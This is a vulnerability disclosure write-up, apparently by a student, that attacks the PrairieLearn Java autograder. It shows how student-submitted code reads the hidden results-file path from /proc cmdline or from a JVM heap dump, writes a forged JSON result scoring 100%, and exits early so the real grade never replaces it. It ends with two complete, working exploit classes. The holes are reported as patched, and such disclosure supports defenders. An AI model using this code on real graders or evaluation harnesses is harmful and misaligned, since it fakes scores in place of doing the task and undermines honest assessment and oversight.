Breaking PrairieLearn Java Grader
PrairieLearn Java Autograder Vulnerability
Aynakeya aynakeya.official@gmail.com
Abstract
This is a walkthrough of one vulnerability I found in PrairieLearn Java autograder.
The default Java autograder exists vulnerabilities that allow user to leak information and write files to the container.
These vulnerabilities allow the user to modify the result of autograder score and get 100% without writing any actual code.
Vulnerability has been fixed in commit 7871ce5
Since the vulnerability hasn't been fixed yet. Anyone who read this document should not disclose the content of the vulnerability
to public in any form until the vulnerability is fixed and deployed to production.
Basic Idea
exception() {
jq -n --arg msg "$1" '{gradable: false, message: $msg}' > $RESULTS_FILE
exit 0
}
# ...
RESULTS_TEMP_DIR=$(mktemp -d -p /grade/results)
RESULTS_TEMP_FILE="$RESULTS_TEMP_DIR/$RANDOM.json"
# ...
java -cp "$CLASSPATH" JUnitAutograder "$RESULTS_TEMP_FILE" "$TEST_FILES" "$STUDENT_COMPILE_OUT"
EOF
if [ -f $RESULTS_TEMP_FILE ] ; then
mv $RESULTS_TEMP_FILE $RESULTS_FILE
else
exception "No grading results could be retrieved.
This usually means your program crashed before results could be saved.
The most common cause is a call to System.exit(),
though this may be a result of stack overflow, excessive memory allocation, or similar problems."
fi
The script call JUnitAutograder with the students' file and test file, then the result(score) is written to $RESULTS_TEMP_FILE.
After grading is done, the script checks if $RESULTS_TEMP_FILE exists. if exists, then grading is successfully done by autograder
and the result will be copied into $RESULTS_FILE. This result will then be read by the system outside the container.
Otherwise, it will raise an exception and set gradable=false in the result.
So, the main idea of autograder pwn is to somehow get the random filename (generated by $RESULTS_TEMP_DIR/$RANDOM.json),
then write our own fake result into the file. finally, exit the program immediately to prevent the result been overwritten again.
Since we've already written a temp result file, the script will evaluate our fake results as real results.
Leaking information
Leaking information from the sever is pretty straightforward.
Since autograder uses org.opentest4j, We can throw an unexpected RuntimeException with the information we want.
public synchronized void close() {
throw new RuntimeException("I can leak whatever I want as string here");
}
Then, autograder will display the information we want in Message Box like

Leaking RESULTS_TEMP_FILE
V1: leaking from command line arguments
First I tried to leak $RESULTS_TEMP_FILE using environment variable.
public static void leakingFailed() {
throw new RuntimeException(String.format("temp file is %s",System.getenv("RESULTS_TEMP_FILE")));
}
However, this approach failed with following information
java.lang.RuntimeException: temp file is: null
Then I noticed that our program is called by following command line, where $RESULTS_TEMP_FILE is passed as an argument.
If I can access command line arguments, I can get the RESULTS_TEMP_FILE
java -cp "$CLASSPATH" JUnitAutograder "$RESULTS_TEMP_FILE" "$TEST_FILES" "$STUDENT_COMPILE_OUT"
I seached in google and came up with this stackoverflow page
Although one solution didn't work, the other one successfully return
failed
// Result: "java.lang.RuntimeException: lol error: []"
public synchronized Collection<Definition> getDefinitions(String word, Database database) throws DictConnectionException {
Collection<Definition> set = new ArrayList<>();
// from
// https://stackoverflow.com/questions/2541627/how-do-i-get-the-commandline-that-started-the-process
this.unhandledException(String.format("lol error: %s",ManagementFactory.getRuntimeMXBean().getInputArguments()));
return set;
}
succeed
public synchronized void close() {
String text;
try {
long pid = ProcessHandle.current().pid();
String cmdline = String.format("/proc/%d/cmdline",pid);
text = new String(Files.readAllBytes(Paths.get(cmdline)), StandardCharsets.UTF_8);
}catch (Exception e){
throw new RuntimeException(e);
}
throw new RuntimeException(text);
}
message
java.lang.RuntimeException: java\u0000-cp�/grade/classpath:/grade/classpath/json-simple-1.1.1.jar:/grade/classpath/junit-platform-console-standalone-1.7.0-all.jar:�JUnitAutograder�/grade/results/tmp.MKlJ1ZgTju/6058.json�/grade/tests/junit/ca/ubc/cs317/dict/tests/DictionaryConnectionTest.java��
OvO: /grade/results/tmp.MKlJ1ZgTju/6058.json
V1: leaking from heap dump
After talking with PrairieLearn developers, I came up with second leaking method.
The idea of this method is very brutal - dump whole java heap memory as ascii string and search secret strings by regexp.
After some googling, I ended up with a native java api HotSpotDiagnosticMXBean.dumpHeap more. This api allows me creating java heap dump using a single call, perfect for me in this situation.
Then, I can read this heap dump as string and leak secrete strings (including path) using regexp.
String dumpPath = "/grade/params/heap.hprof";
Pattern signaturePattern = Pattern.compile("(?:[A-Za-z0-9+\\/]{4}){10}[A-Za-z0-9+\\/]{3}=");
Pattern tmpResultPattern = Pattern.compile("/grade/results/[^/]*/\\d+.json");
String tmpResultPath = "";
Matcher match;
try {
dumpHeap(dumpPath, true);
Scanner scnr = new Scanner(new FileReader(dumpPath));
while (scnr.hasNext()) {
match = tmpResultPattern.matcher(scnr.next());
if (match.find() && !match.group(0).equals("/grade/results/[^/]*/\\d+.json")) {
tmpResultPath = match.group(0);
break;
}
}
}catch (Exception e) {
// failed to create heap dump
System.exit(0);
}
Writing Fake Result
After knowing how to getting the temp result file, everything is simple and easy.
- get temp result file
- create fake results
- write results to temp result file
- exit program using
System.exit.
I basically copy paste code from JUnitAutograder.java and came up with following code (see full exploit below).
I uploaded exploit to PrairieLearn and here is the result I got!

Possible Mitigation
- Doing process isolation
- prevent user from accessing command line arguments (privilege?)
Update Log
Relevant commits:
First patch: information leaking from commandline was fixed in commit 2f263a8
Second patch: heap dump leaking was fixed in 7871ce5
Full exploit V1
package ca.ubc.cs317.dict.net;
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
// exploit for https://github.com/PrairieLearn/PrairieLearn/tree/master/graders/java
public class PrairieLearnExploit {
public static void pwn(){
String cmdline;
try {
long pid = ProcessHandle.current().pid();
String cmdlinePath = String.format("/proc/%d/cmdline",pid);
cmdline = new String(Files.readAllBytes(Paths.get(cmdlinePath)), StandardCharsets.UTF_8);
}catch (Exception e){
// failed to find cmdline file
System.exit(0);
return;
}
Pattern pattern = Pattern.compile("/grade/results/[^/]*/\\d+.json");
Matcher matcher = pattern.matcher(cmdline);
if (!matcher.find()){
// failed to find tmp file
System.exit(0);
return;
}
// get temp file path
System.out.println(matcher.group(0));
JSONObject fake_test = newTest("Pwned","Pwned by aynakeya",
16,16,"QAQ","OvO");
JSONObject results = newResult(1,16,16,
"PrairieLearn Java Autograder Exploit","Pwned by aynakeya",
true,fake_test);
try (FileWriter writer = new FileWriter(matcher.group(0))) {
writer.write(results.toString());
} catch (Exception e) {
// failed to write;
System.exit(0);
}
// exit to prevent overwrite
System.exit(0);
}
public static JSONObject newTest(String name, String description,
double points, double maxPoints,
String output, String message) {
JSONObject object = new JSONObject();
object.put("name", name);
object.put("description", description);
object.put("points", points);
object.put("max_points", maxPoints);
object.put("output", output);
object.put("message", message);
return object;
}
public static JSONObject newResult(double score, double points,double maxPoints,
String output,String message, boolean gradable,
JSONObject ...tests) {
JSONObject results = new JSONObject();
// score 0-1
results.put("score", score);
results.put("points",points);
results.put("max_points", maxPoints);
results.put("output", output);
results.put("message", message);
results.put("gradable",gradable);
JSONArray resultsTests = new JSONArray();
for (JSONObject obj : tests) {
resultsTests.add(obj);
}
results.put("tests", resultsTests);
return results;
}
public static void leakingFailed() {
throw new RuntimeException(String.format("temp file is %s",System.getenv("RESULTS_TEMP_FILE")));
}
}
Full exploit V2
package ca.ubc.cs317.dict.exploit;
import com.sun.management.HotSpotDiagnosticMXBean;
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import javax.management.MBeanServer;
import java.io.FileReader;
import java.io.FileWriter;
import java.lang.management.ManagementFactory;
import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
// exploit for https://github.com/PrairieLearn/PrairieLearn/tree/master/graders/java
public class PrairieLearnExploitV2 {
private String tmpPath = "";
private String secret = "";
private static final String HOTSPOT_BEAN_NAME =
"com.sun.management:type=HotSpotDiagnostic";
// field to store the hotspot diagnostic MBean
private static volatile HotSpotDiagnosticMXBean hotspotMBean;
static void dumpHeap(String fileName, boolean live) {
// initialize hotspot diagnostic MBean
initHotspotMBean();
try {
hotspotMBean.dumpHeap(fileName, live);
} catch (RuntimeException re) {
throw re;
} catch (Exception exp) {
throw new RuntimeException(exp);
}
}
// initialize the hotspot diagnostic MBean field
private static void initHotspotMBean() {
if (hotspotMBean == null) {
synchronized (PrairieLearnExploitV2.class) {
if (hotspotMBean == null) {
hotspotMBean = getHotspotMBean();
}
}
}
}
// get the hotspot diagnostic MBean from the
// platform MBean server
private static HotSpotDiagnosticMXBean getHotspotMBean() {
try {
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
HotSpotDiagnosticMXBean bean =
ManagementFactory.newPlatformMXBeanProxy(server,
HOTSPOT_BEAN_NAME, HotSpotDiagnosticMXBean.class);
return bean;
} catch (RuntimeException re) {
throw re;
} catch (Exception exp) {
throw new RuntimeException(exp);
}
}
public static void pwnV2(){
String dumpPath = "/grade/params/heap.hprof";
Pattern signaturePattern = Pattern.compile("(?:[A-Za-z0-9+\\/]{4}){10}[A-Za-z0-9+\\/]{3}=");
Pattern tmpResultPattern = Pattern.compile("/grade/results/[^/]*/\\d+.json");
String tmpResultPath = "";
Matcher match;
try {
dumpHeap(dumpPath, true);
Scanner scnr = new Scanner(new FileReader(dumpPath));
while (scnr.hasNext()) {
match = tmpResultPattern.matcher(scnr.next());
if (match.find() && !match.group(0).equals("/grade/results/[^/]*/\\d+.json")) {
tmpResultPath = match.group(0);
break;
}
}
}catch (Exception e) {
// failed to create heap dump
System.exit(0);
}
JSONObject fake_test = newTest("Pwned",tmpResultPath,
16,16,"QAQ","OvO");
JSONObject results = newResult(1,16,16,
"PrairieLearn Java Autograder Exploit","heap dump method",
true,fake_test);
try (FileWriter writer = new FileWriter(tmpResultPath)) {
writer.write(results.toString());
} catch (Exception e) {
// failed to write;
System.exit(0);
}
// exit to prevent overwrite
System.exit(0);
}
public static JSONObject newTest(String name, String description,
double points, double maxPoints,
String output, String message) {
JSONObject object = new JSONObject();
object.put("name", name);
object.put("description", description);
object.put("points", points);
object.put("max_points", maxPoints);
object.put("output", output);
object.put("message", message);
return object;
}
public static JSONObject newResult(double score, double points,double maxPoints,
String output,String message, boolean gradable,
JSONObject ...tests) {
JSONObject results = new JSONObject();
// score 0-1
results.put("score", score);
results.put("points",points);
results.put("max_points", maxPoints);
results.put("output", output);
results.put("message", message);
results.put("gradable",gradable);
JSONArray resultsTests = new JSONArray();
for (JSONObject obj : tests) {
resultsTests.add(obj);
}
results.put("tests", resultsTests);
return results;
}
}